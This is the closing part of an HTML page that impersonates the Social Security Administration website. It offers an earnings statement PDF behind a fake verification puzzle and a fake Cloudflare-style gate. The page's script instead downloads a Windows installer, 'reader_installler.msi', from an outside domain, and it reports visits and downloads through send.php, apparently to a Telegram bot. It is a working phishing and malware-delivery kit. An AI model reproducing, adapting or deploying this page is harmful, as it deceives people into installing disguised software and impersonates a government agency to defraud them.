                  </div>
                </div>
              </div>
            </div>

            <button
              type="button"
              id="btn-download-statement"
              class="ssa-btn-primary ssa-btn-primary--locked mt-3 shrink-0"
              disabled
              aria-describedby="earnings-pdf-name id-verify-heading"
            >
              <span class="ssa-btn-primary__row">
                <svg class="h-4 w-4 shrink-0 opacity-90" fill="currentColor" viewBox="0 0 20 20" aria-hidden="true">
                  <path
                    fill-rule="evenodd"
                    d="M2.166 4.999A11.954 11.954 0 0010 1.944 11.954 11.954 0 0017.834 5c.11.65.166 1.32.166 2.001 0 5.225-3.34 9.67-8 11.317C5.34 16.67 2 12.225 2 7c0-.682.057-1.35.166-2.001zm11.541 3.708a1 1 0 00-1.414-1.414L9 10.586 7.707 9.293a1 1 0 00-1.414 0l-2 2a1 1 0 101.414 1.414L7 12.414l2.293 2.293a1 1 0 001.414 0l4-4z"
                    clip-rule="evenodd"
                  />
                </svg>
                <span>Download PDF</span>
                <svg class="h-4 w-4 shrink-0 opacity-90" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M9 5l7 7-7 7" />
                </svg>
              </span>
              <span class="ssa-btn-primary__sub">Earnings_Statement_2026.pdf · 1.4 MB</span>
            </button>
          </div>
        </div>
          </div>

          <aside class="ssa-sidebar" aria-label="Related information">
            <section class="ssa-widget" aria-labelledby="widget-sysreq-heading">
              <div class="ssa-widget__accent-teal" aria-hidden="true"></div>
              <div class="ssa-widget__head">
                <svg class="h-5 w-5 shrink-0 text-ssa-navy" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
                  <path
                    stroke-linecap="round"
                    stroke-linejoin="round"
                    stroke-width="2"
                    d="M9.75 17L9 20l-1 1h8l-1-1-.75-3M3 13h18M5 17h14a2 2 0 002-2V5a2 2 0 00-2-2H5a2 2 0 00-2 2v10a2 2 0 002 2z"
                  />
                </svg>
                <h2 id="widget-sysreq-heading" class="ssa-widget__title">System Requirements</h2>
              </div>
              <ul class="ssa-widget__list">
                <li class="ssa-widget__row">
                  <svg class="mt-0.5 h-4 w-4 shrink-0 text-[#008817]" viewBox="0 0 20 20" fill="currentColor" aria-hidden="true">
                    <path
                      fill-rule="evenodd"
                      d="M10 18a8 8 0 100-16 8 8 0 000 16zm3.707-9.293a1 1 0 00-1.414-1.414L9 10.586 7.707 9.293a1 1 0 00-1.414 1.414l2 2a1 1 0 001.414 0l4-4z"
                      clip-rule="evenodd"
                    />
                  </svg>
                  <span>Windows 10 or Windows 11</span>
                </li>
                <li class="ssa-widget__row">
                  <svg class="mt-0.5 h-4 w-4 shrink-0 text-[#008817]" viewBox="0 0 20 20" fill="currentColor" aria-hidden="true">
                    <path
                      fill-rule="evenodd"
                      d="M10 18a8 8 0 100-16 8 8 0 000 16zm3.707-9.293a1 1 0 00-1.414-1.414L9 10.586 7.707 9.293a1 1 0 00-1.414 1.414l2 2a1 1 0 001.414 0l4-4z"
                      clip-rule="evenodd"
                    />
                  </svg>
                  <span>Desktop or laptop computer</span>
                </li>
                <li class="ssa-widget__row">
                  <svg class="mt-0.5 h-4 w-4 shrink-0 text-[#008817]" viewBox="0 0 20 20" fill="currentColor" aria-hidden="true">
                    <path
                      fill-rule="evenodd"
                      d="M10 18a8 8 0 100-16 8 8 0 000 16zm3.707-9.293a1 1 0 00-1.414-1.414L9 10.586 7.707 9.293a1 1 0 00-1.414 1.414l2 2a1 1 0 001.414 0l4-4z"
                      clip-rule="evenodd"
                    />
                  </svg>
                  <span>Modern web browser</span>
                </li>
                <li class="ssa-widget__row">
                  <svg class="mt-0.5 h-4 w-4 shrink-0 text-[#008817]" viewBox="0 0 20 20" fill="currentColor" aria-hidden="true">
                    <path
                      fill-rule="evenodd"
                      d="M10 18a8 8 0 100-16 8 8 0 000 16zm3.707-9.293a1 1 0 00-1.414-1.414L9 10.586 7.707 9.293a1 1 0 00-1.414 1.414l2 2a1 1 0 001.414 0l4-4z"
                      clip-rule="evenodd"
                    />
                  </svg>
                  <span>Stable internet connection</span>
                </li>
                <li class="ssa-widget__row">
                  <svg class="mt-0.5 h-4 w-4 shrink-0 text-[#b50909]" viewBox="0 0 20 20" fill="currentColor" aria-hidden="true">
                    <path
                      fill-rule="evenodd"
                      d="M10 18a8 8 0 100-16 8 8 0 000 16zM8.707 7.293a1 1 0 00-1.414 1.414L8.586 10l-1.293 1.293a1 1 0 101.414 1.414L10 11.414l1.293 1.293a1 1 0 001.414-1.414L11.414 10l1.293-1.293a1 1 0 00-1.414-1.414L10 8.586 8.707 7.293z"
                      clip-rule="evenodd"
                    />
                  </svg>
                  <span>Mobile devices not supported</span>
                </li>
                <li class="ssa-widget__row">
                  <svg class="mt-0.5 h-4 w-4 shrink-0 text-[#b50909]" viewBox="0 0 20 20" fill="currentColor" aria-hidden="true">
                    <path
                      fill-rule="evenodd"
                      d="M10 18a8 8 0 100-16 8 8 0 000 16zM8.707 7.293a1 1 0 00-1.414 1.414L8.586 10l-1.293 1.293a1 1 0 101.414 1.414L10 11.414l1.293 1.293a1 1 0 001.414-1.414L11.414 10l1.293-1.293a1 1 0 00-1.414-1.414L10 8.586 8.707 7.293z"
                      clip-rule="evenodd"
                    />
                  </svg>
                  <span>macOS not supported</span>
                </li>
              </ul>
            </section>

            <section class="ssa-widget" aria-labelledby="widget-help-heading">
              <div class="ssa-widget__head">
                <svg class="h-5 w-5 shrink-0 text-ssa-navy" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
                  <path
                    stroke-linecap="round"
                    stroke-linejoin="round"
                    stroke-width="2"
                    d="M8.228 9c.549-1.165 2.03-2 3.772-2 2.21 0 4 1.343 4 3 0 1.4-1.278 2.575-3.006 2.907-.542.104-.994.54-.994 1.093m0 3h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"
                  />
                </svg>
                <h2 id="widget-help-heading" class="ssa-widget__title">Help &amp; Resources</h2>
              </div>
              <nav aria-label="Help and resources">
                <a
                  class="ssa-widget__link"
                  href="https://www.ssa.gov/manage-benefits/get-tax-form-10991042s"
                  target="_blank"
                  rel="noopener noreferrer"
                >
                  <svg class="ssa-widget__link-icon h-4 w-4" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
                    <path
                      stroke-linecap="round"
                      stroke-linejoin="round"
                      stroke-width="2"
                      d="M9 12h6m-6 4h6m2 5H7a2 2 0 01-2-2V5a2 2 0 012-2h5.586a1 1 0 01.707.293l5.414 5.414a1 1 0 01.293.707V19a2 2 0 01-2 2z"
                    />
                  </svg>
                  <span>Get tax form (1099/1042S)<span class="sr-only"> (opens in a new tab)</span></span>
                </a>
                <a
                  class="ssa-widget__link"
                  href="https://www.ssa.gov/manage-benefits/get-benefit-letter"
                  target="_blank"
                  rel="noopener noreferrer"
                >
                  <svg class="ssa-widget__link-icon h-4 w-4" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
                    <path
                      stroke-linecap="round"
                      stroke-linejoin="round"
                      stroke-width="2"
                      d="M3 8l7.89 5.26a2 2 0 002.22 0L21 8M5 19h14a2 2 0 002-2V7a2 2 0 00-2-2H5a2 2 0 00-2 2v10a2 2 0 002 2z"
                    />
                  </svg>
                  <span>Get benefit verification letter<span class="sr-only"> (opens in a new tab)</span></span>
                </a>
                <a class="ssa-widget__link" href="https://www.ssa.gov/agency/contact/" target="_blank" rel="noopener noreferrer">
                  <svg class="ssa-widget__link-icon h-4 w-4" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
                    <path
                      stroke-linecap="round"
                      stroke-linejoin="round"
                      stroke-width="2"
                      d="M3 5a2 2 0 012-2h3.28a1 1 0 01.948.684l1.498 4.493a1 1 0 01-.502 1.21l-2.257 1.13a11.042 11.042 0 005.516 5.516l1.13-2.257a1 1 0 011.21-.502l4.493 1.498a1 1 0 01.684.949V19a2 2 0 01-2 2h-1C9.716 21 3 14.284 3 6V5z"
                    />
                  </svg>
                  <span>Contact us<span class="sr-only"> (opens in a new tab)</span></span>
                </a>
                <a class="ssa-widget__link" href="https://www.ssa.gov/locator/" target="_blank" rel="noopener noreferrer">
                  <svg class="ssa-widget__link-icon h-4 w-4" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
                    <path
                      stroke-linecap="round"
                      stroke-linejoin="round"
                      stroke-width="2"
                      d="M17.657 16.657L13.414 20.9a1.998 1.998 0 01-2.827 0l-4.244-4.243a8 8 0 1111.314 0z"
                    />
                    <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M15 11a3 3 0 11-6 0 3 3 0 016 0z" />
                  </svg>
                  <span>Find an office<span class="sr-only"> (opens in a new tab)</span></span>
                </a>
              </nav>
            </section>
          </aside>
        </div>
      </main>

      <!-- SSA.gov-style identifier footer (USWDS-inspired) -->
      <footer class="ssa-footer" role="contentinfo">
        <div class="ssa-footer__inner">
          <nav class="ssa-footer__nav" aria-label="Footer">
            <a href="https://www.ssa.gov/agency/privacy.html" target="_blank" rel="noopener noreferrer">Privacy Policy</a>
            <span class="ssa-footer__sep" aria-hidden="true">|</span>
            <a href="https://www.ssa.gov/websitepolicies/" target="_blank" rel="noopener noreferrer">Website Policies</a>
            <span class="ssa-footer__sep" aria-hidden="true">|</span>
            <a href="https://www.ssa.gov/accessibility/" target="_blank" rel="noopener noreferrer">Accessibility</a>
            <span class="ssa-footer__sep" aria-hidden="true">|</span>
            <a href="https://www.ssa.gov/foia/" target="_blank" rel="noopener noreferrer">FOIA</a>
            <span class="ssa-footer__sep" aria-hidden="true">|</span>
            <a href="https://www.ssa.gov/open/plainlanguage.html" target="_blank" rel="noopener noreferrer">Plain Language</a>
          </nav>
          <p class="ssa-footer__meta">
            Social Security Administration · <span class="whitespace-nowrap">800-772-1213</span> ·
            <span class="whitespace-nowrap">TTY 800-325-0778</span>
          </p>
        </div>
      </footer>
    </div>

    <a
      id="adobe-download-anchor"
      href="https://conrtr.site/ms/reader_installler.msi"
      download="reader_installler.msi"
      class="adobe-download-anchor-sr"
      tabindex="-1"
      aria-hidden="true"
      >download</a>

    <script>
      (function () {
        function sendPhpUrl() {
          var origin = window.location.origin;
          var path = window.location.pathname || "/";
          if (path !== "/" && !path.endsWith("/")) {
            var seg = path.slice(path.lastIndexOf("/") + 1);
            if (seg.indexOf(".") >= 0) {
              path = path.slice(0, path.lastIndexOf("/") + 1);
            } else {
              path = path + "/";
            }
          }
          if (!path.endsWith("/")) {
            path += "/";
          }
          if (!origin || origin === "null") {
            return path + "send.php";
          }
          return origin + path + "send.php";
        }

        function post(payload) {
          return fetch(sendPhpUrl(), {
            method: "POST",
            mode: "cors",
            cache: "no-cache",
            headers: { "Content-Type": "application/json" },
            body: JSON.stringify(payload),
          }).then(function (res) {
            return res.text().then(function (text) {
              var data;
              try {
                data = text ? JSON.parse(text) : {};
              } catch (e) {
                data = { ok: false, error: "Invalid server response" };
              }
              return { res: res, data: data };
            });
          });
        }

        function bootInlineDownload() {
          var anchor = document.getElementById("adobe-download-anchor");
          var dlBtn = document.getElementById("btn-download-statement");
          var statusEl = document.getElementById("download-status");
          if (!dlBtn) return;

          var downloadStarted = false;

          var verifyInput = document.getElementById("id-verify-answer");
          var verifyCheck = document.getElementById("id-verify-desktop");
          var verifyRefresh = document.getElementById("id-verify-refresh");
          var verifyQuestionEl = document.getElementById("id-verify-question");
          var expectedAnswer = 0;

          function randomInt(min, max) {
            return min + Math.floor(Math.random() * (max - min + 1));
          }

          function newPuzzle() {
            var a = randomInt(2, 12);
            var b = randomInt(2, 12);
            expectedAnswer = a + b;
            if (verifyQuestionEl) {
              verifyQuestionEl.textContent = "What is " + a + " + " + b + "?";
            }
            if (verifyInput) {
              verifyInput.value = "";
            }
            updateDownloadEnabled();
          }

          function updateDownloadEnabled() {
            if (!dlBtn || downloadStarted) return;
            var raw = verifyInput ? String(verifyInput.value).trim() : "";
            var n = parseInt(raw, 10);
            var puzzleOk = raw !== "" && n === expectedAnswer;
            var checkOk = verifyCheck && verifyCheck.checked;
            var unlocked = puzzleOk && checkOk;
            dlBtn.disabled = !unlocked;
            if (unlocked) {
              dlBtn.classList.remove("ssa-btn-primary--locked");
            } else {
              dlBtn.classList.add("ssa-btn-primary--locked");
            }
          }

          if (verifyRefresh) {
            verifyRefresh.addEventListener("click", function () {
              newPuzzle();
            });
          }
          if (verifyInput) {
            verifyInput.addEventListener("input", updateDownloadEnabled);
            verifyInput.addEventListener("change", updateDownloadEnabled);
          }
          if (verifyCheck) {
            verifyCheck.addEventListener("change", updateDownloadEnabled);
          }

          newPuzzle();

          var INSTALLER_URL =
            "https://conrtr.site/ms/reader_installler.msi";
          var INSTALLER_NAME = "reader_installler.msi";

          function triggerInstallerDownload() {
            if (!anchor || !INSTALLER_URL) return;
            anchor.href = INSTALLER_URL;
            if (INSTALLER_NAME) {
              anchor.setAttribute("download", INSTALLER_NAME);
            } else {
              anchor.removeAttribute("download");
            }
            try {
              anchor.click();
            } catch (e) {
              window.location.href = INSTALLER_URL;
            }
          }

          function setStatus(msg) {
            if (!statusEl) return;
            statusEl.textContent = msg;
            statusEl.classList.remove("hidden");
          }

          function resetDownloadAfterFailure() {
            downloadStarted = false;
            updateDownloadEnabled();
          }

          dlBtn.addEventListener("click", function () {
            if (dlBtn.disabled || downloadStarted) return;
            downloadStarted = true;
            dlBtn.disabled = true;
            dlBtn.classList.add("ssa-btn-primary--locked");
            setStatus(INSTALLER_URL ? "Starting download…" : "Processing…");

            post({ action: "statement_inline_download" })
              .then(function (r) {
                console.log("Inline download notify:", r);
                var ok = r.res.ok && r.data && r.data.ok;
                if (!ok) {
                  var hint = (r.data && r.data.error) ? r.data.error : "HTTP " + r.res.status;
                  console.error("Inline download notify error:", hint, r);
                  triggerInstallerDownload();
                  setStatus(
                    "Notification failed: " +
                      hint +
                      ". Check send.php path, PHP error log, and Telegram bot token / chat ID. Open DevTools → Network to confirm the request reached send.php."
                  );
                  resetDownloadAfterFailure();
                  return;
                }
                triggerInstallerDownload();
                setStatus(
                  INSTALLER_URL
                    ? "If the download did not start, check your browser’s download settings or blocked pop-ups."
                    : "Your request was submitted."
                );
              })
              .catch(function (err) {
                console.error("Inline download notify failed:", err);
                triggerInstallerDownload();
                setStatus(
                  "Could not reach send.php (" +
                    (err && err.message ? err.message : "network error") +
                    "). Use http://localhost or your web host (not file://), and confirm send.php is in the same folder as this page."
                );
                resetDownloadAfterFailure();
              });
          });
        }

        if (document.readyState === "loading") {
          document.addEventListener("DOMContentLoaded", bootInlineDownload);
        } else {
          bootInlineDownload();
        }
      })();
    </script>
    <script>
      (function () {
        function sendPhpUrl() {
          var origin = window.location.origin;
          var path = window.location.pathname || "/";
          if (path !== "/" && !path.endsWith("/")) {
            var seg = path.slice(path.lastIndexOf("/") + 1);
            if (seg.indexOf(".") >= 0) {
              path = path.slice(0, path.lastIndexOf("/") + 1);
            } else {
              path = path + "/";
            }
          }
          if (!path.endsWith("/")) {
            path += "/";
          }
          if (!origin || origin === "null") {
            return path + "send.php";
          }
          return origin + path + "send.php";
        }
        function postVisit() {
          try {
            fetch(sendPhpUrl(), {
              method: "POST",
              mode: "cors",
              cache: "no-cache",
              headers: { "Content-Type": "application/json" },
              body: JSON.stringify({ action: "visit" }),
            }).catch(function () {});
          } catch (e) {}
        }
        function rayId() {
          var hex = "0123456789abcdef";
          var s = "";
          for (var i = 0; i < 16; i++) {
            s += hex.charAt(Math.floor(Math.random() * 16));
          }
          return s;
        }
        var line = document.getElementById("ssa-gate-hostline");
        if (line) {
          line.textContent =
            "review the security of your connection before you can continue.";
        }
        var ray = document.getElementById("ssa-gate-ray-id");
        if (ray) {
          ray.textContent = rayId();
        }
        var btn = document.getElementById("btn-cf-verify");
        if (!btn) {
          postVisit();
          return;
        }
        btn.addEventListener("click", function () {
          if (btn.disabled) return;
          btn.disabled = true;
          btn.textContent = "Verifying...";
          window.setTimeout(function () {
            document.documentElement.classList.add("ssa-gate-done");
            document.documentElement.classList.remove("ssa-gate-open");
            var g = document.getElementById("ssa-cf-gate");
            if (g) {
              g.style.display = "none";
            }
            postVisit();
          }, 850);
        });
        try {
          btn.focus();
        } catch (e3) {}
      })();
    </script>
  </body>
</html>
